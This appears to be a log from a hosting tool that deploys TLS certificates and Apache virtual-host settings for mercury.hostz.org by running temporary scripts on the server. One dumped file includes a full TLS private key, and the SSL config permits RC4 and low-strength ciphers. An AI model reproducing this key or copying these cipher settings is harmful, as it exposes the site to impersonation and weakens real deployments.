Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-24 06:00:45: 

chmod 755 /tmp/pkp574361; /tmp/pkp574361; rm /tmp/pkp574361

2026-06-24 06:00:45: 


dir=/etc/ssl/certs


2026-06-24 06:00:45: 

PUT: /tmp/pkp328424

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/pjy_mercury_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-24 06:00:46: 

chmod 755 /tmp/pkp328424; /tmp/pkp328424; rm /tmp/pkp328424

2026-06-24 06:00:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_mercury_us.conf 38

<VirtualHost *:80>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/mercury_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mercury/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/mercury_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-24 06:00:46: 

PUT: /tmp/pkp341025

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_mercury_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_mercury_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/mercury_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mercury/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/mercury_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_mercury_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_mercury_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_mercury_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_mercury_us.conf= 1'
fi


2026-06-24 06:00:47: 

chmod 755 /tmp/pkp341025; /tmp/pkp341025; rm /tmp/pkp341025

2026-06-24 06:00:47: 




2026-06-24 06:00:47: 

PUT: /tmp/pkp529183

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-24 06:00:47: 

chmod 755 /tmp/pkp529183; /tmp/pkp529183; rm /tmp/pkp529183

2026-06-24 06:00:48: 


.


2026-06-24 06:00:48: Establishing a connection
2026-06-24 06:00:49: 

PUT: /tmp/pkp198528

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-24 06:00:50: 

chmod 755 /tmp/pkp198528; /tmp/pkp198528; rm /tmp/pkp198528

2026-06-24 06:00:50: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:2)
                 alias www.n-e-v.info
         port 80 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:2)
*:443                  is a NameVirtualHost
         default server n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
         port 443 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
                 alias www.n-e-v.info
         port 443 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-06-24 06:00:50: 

PUT: /tmp/pkp213242

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/pjy_mercury_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-24 06:00:51: 

chmod 755 /tmp/pkp213242; /tmp/pkp213242; rm /tmp/pkp213242

2026-06-24 06:00:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_mercury_us.conf	1579

<VirtualHost *:80>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/mercury_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mercury/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/mercury_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-24 06:00:51: 

PUT: /tmp/pkp183068

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-24 06:00:52: 

chmod 755 /tmp/pkp183068; /tmp/pkp183068; rm /tmp/pkp183068

2026-06-24 06:00:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d	7420
0f:4c:a3:43:d8:40:b2:e5:2f:4b:48:3a:6d:4e:29:6d

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBd5vTGTMjsP5AJkV8xC0uWiJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjI0MDUwMjA5WhcNMjYwOTIyMDUwMjA4WjAcMRowGAYDVQQD
ExFtZXJjdXJ5Lmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALLKDGmhBfhComVAFAsx8J+q/Oos9hmej10TyOHDgdlKeUBeTE95k+426msZ
OIXnpnRD4jszth6JMne9U1u6HYJCPg2SEi0RSJJXmbuoi728SyNp4RIjJ/K5rUEi
3a2Qp2j75et4QZv0/p1P6PEtAi/SrxRVzbeeXL3+pbms4SQxh7k3D1BZm2wQ24ae
A79sybFCW1/5zoK3FPZ0Vr5rWB3uqUu/pMt2h5mGRNnfJxi9LhYs908aOMEj0OFJ
+GKvhcO3xS5SzZxJCfrhSlqU/Z2B9VFjLdp9aP5GIyNsT7NH90AhT/1hiKmHMzyP
RFUtfGyQeWz9QLpn90BJsl98p18CAwEAAaOCAh8wggIbMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBTM
O5396ukO7LAMRCdjTsKpX0je4zAfBgNVHSMEGDAWgBQfLzW+RhSCzUCxrnksVXj6
99Ro+zAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjEuaS5s
ZW5jci5vcmcvMBwGA1UdEQQVMBOCEW1lcmN1cnkuaG9zdHoub3JnMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly95cjEuYy5sZW5j
ci5vcmcvMTAuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHcAyzj3FYl8hKFE
X1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGe+DdgBwAABAMASDBGAiEA0zAUsGIc
kVD+XP7bPWFoxfZu791Q8lGw2ZBQTzASD24CIQDk3PyV2iB09nE4aeiwqCWZD3db
x/sO/D0ilv/rgMhi2QB9ABqLnWsP/r+BtHk5xtIxCobW0QLU8EbiGCyd419eJiXv
AAABnvg3YyYACAAABQAiiPiKBAMARjBEAiBh44NjDTpvoceVt0tvdkeV/FU0AZiV
sL2WDvCcmtd6nQIgCU9v/OtPiHXRr9yT3EaH+kWVrAmgj/YLrfrBh4wA3tMwDQYJ
KoZIhvcNAQELBQADggEBADorCjUEpepePqy3P+gmtiqbaSSjkWqFS7AdIlKsLNdQ
5U7cL4AVjFnnyMN+PiXU3W6HOIyOfvD2QKjksRDCaY/dfYjik6jhRvVuXfOwfcXo
QK8nHKqNEe0A8QfJW4HRNU9MmcqG7/NA6kuLOFUKZi5J9Nvmq/lkG5OhNv6l8Uxo
/niyzsfZJ/H8CrkR1XO9OIc66KxatOuxM75U+zKcXk0h591MaxKRBI316TUp2OHg
SLD0D9tQ0x+gv9bukSLBBv1LjnNGh07olN0ULQKFdRFOE8/I6v4iXRI19mZR01fo
4ZitaLH5nHqfXqHo08W2e+6oy7snCmu0wfiToBCAlUk=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCyygxpoQX4QqJl
QBQLMfCfqvzqLPYZno9dE8jhw4HZSnlAXkxPeZPuNuprGTiF56Z0Q+I7M7YeiTJ3
vVNbuh2CQj4NkhItEUiSV5m7qIu9vEsjaeESIyfyua1BIt2tkKdo++XreEGb9P6d
T+jxLQIv0q8UVc23nly9/qW5rOEkMYe5Nw9QWZtsENuGngO/bMmxQltf+c6CtxT2
dFa+a1gd7qlLv6TLdoeZhkTZ3ycYvS4WLPdPGjjBI9DhSfhir4XDt8UuUs2cSQn6
4UpalP2dgfVRYy3afWj+RiMjbE+zR/dAIU/9YYiphzM8j0RVLXxskHls/UC6Z/dA
SbJffKdfAgMBAAECggEAO2p5GItqM/hVBqf2YUgN6soEtgAOIzJ1+10tV5XE68Tb
qcAMxSamujYmzkO57Iow35eFsd38CobWrkNNVgDyeIzyGUlvX+nL/9I75Ujcc8gF
AnZX1VK4nmoFQU3IdLtLX1DDNm8nAqC3EulxBOFLxj/SbkQbkwd+U6eyRJPG2GNM
y/bLEueS3bOqE+uqIcGKxutGMTssr1Kn+77Bjq4y0X0nsrMQnnzfLDbGrk9c5/GH
TpBU8+7TATbGtNV6RMFDfOpjzGitYzrrxvs2lorLWcp1YmW5rKHk8yEvIJljbyu9
4ceIlD4VyaNrrw1jGHY2kpPBcj80dpGR19yde6DUnQKBgQDnxtfZ20dw5QIAsZPq
+bk8N0VsTec+DWXSE+z+qLshormHuP2Ri1V2mRvTWqA7v5u8QgWvHnxRURcdbUfK
r9VATKwdv2Nfcy+OvvGc/FDLa0RiqPQl1m/54Lg2kCuvEabB38nqJSYfRgg+68NR
ALgd75PCpAPn/jJEkExjMtPppQKBgQDFeYg2ekO69Cdt88kW9os2QVCOwD9WQGtt
p1Hye358n0IF9WPhH8ym5UytWSloGnVKQ1onYwP0WuaKwMdagjmo06n5bszmIW6j
6RxOl2GctijrMqxaG9APBNh1zsaAUAS3/QsLXRlsk8kVigJgYAngdOJ6eXAIKzvA
n3IrzCLVswKBgQCUmK5QtT5TSe+DxFXiQ2KYEZOHwVZtOSe7jRzXlBQNl4c9VcP0
KRGM7NKjKaorREgzZVzBjlkDxWp9ak+pyht9kuqSU98BFhc6fH7pN/cQw9/fJRUK
oTW/TWytRrdLEZUJHVIVtOWBDWRB+uOJLl3ci3n/Qyph9V4DCUSAINkuJQKBgQCn
OPAg+c4rHZ/aGyv5FxPyAMM/7wpzdp/CPoNFbFBDJfWZ6CAJPo1l8xzIWo2Wy3jx
RzGr0sxBe0xoyTDHsykyjvML90jpw/vWL4u5/bU6KINkEAglUhIQ9dB7intLovcr
+ssEd3UVHdyVMcYraIhUm4ZBol49fKbfyeW7suT4wwKBgEiuZCQhE+YiCDnhVT3V
1/ZkvkxaD15EVxllYgaFaPMAvS/prz76IDQNqLB61wpyLB1hqc7DGJVLmoGhJfDe
VYkStgWlS2YXk3OFJ8qpFEVfSpYEvxBLua4cXDrt05Mvsi6If7rn8he/qb57McpG
kkEawprlRIzzEXdYDlqL/nxs
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
